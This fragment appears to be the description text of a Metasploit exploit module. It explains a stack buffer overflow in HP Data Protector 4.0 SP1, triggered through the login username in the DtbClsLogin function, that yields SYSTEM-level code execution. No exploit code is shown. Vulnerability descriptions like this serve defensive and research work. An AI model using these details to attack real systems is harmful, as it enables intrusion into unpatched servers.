'Description' => %q{  
This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The  
overflow occurs during the login process, in the DtbClsLogin function provided by  
the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an  
insecure way with the username. A successful exploitation will lead to code execution  
with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server  
Service) process, which runs as SYSTEM by default.
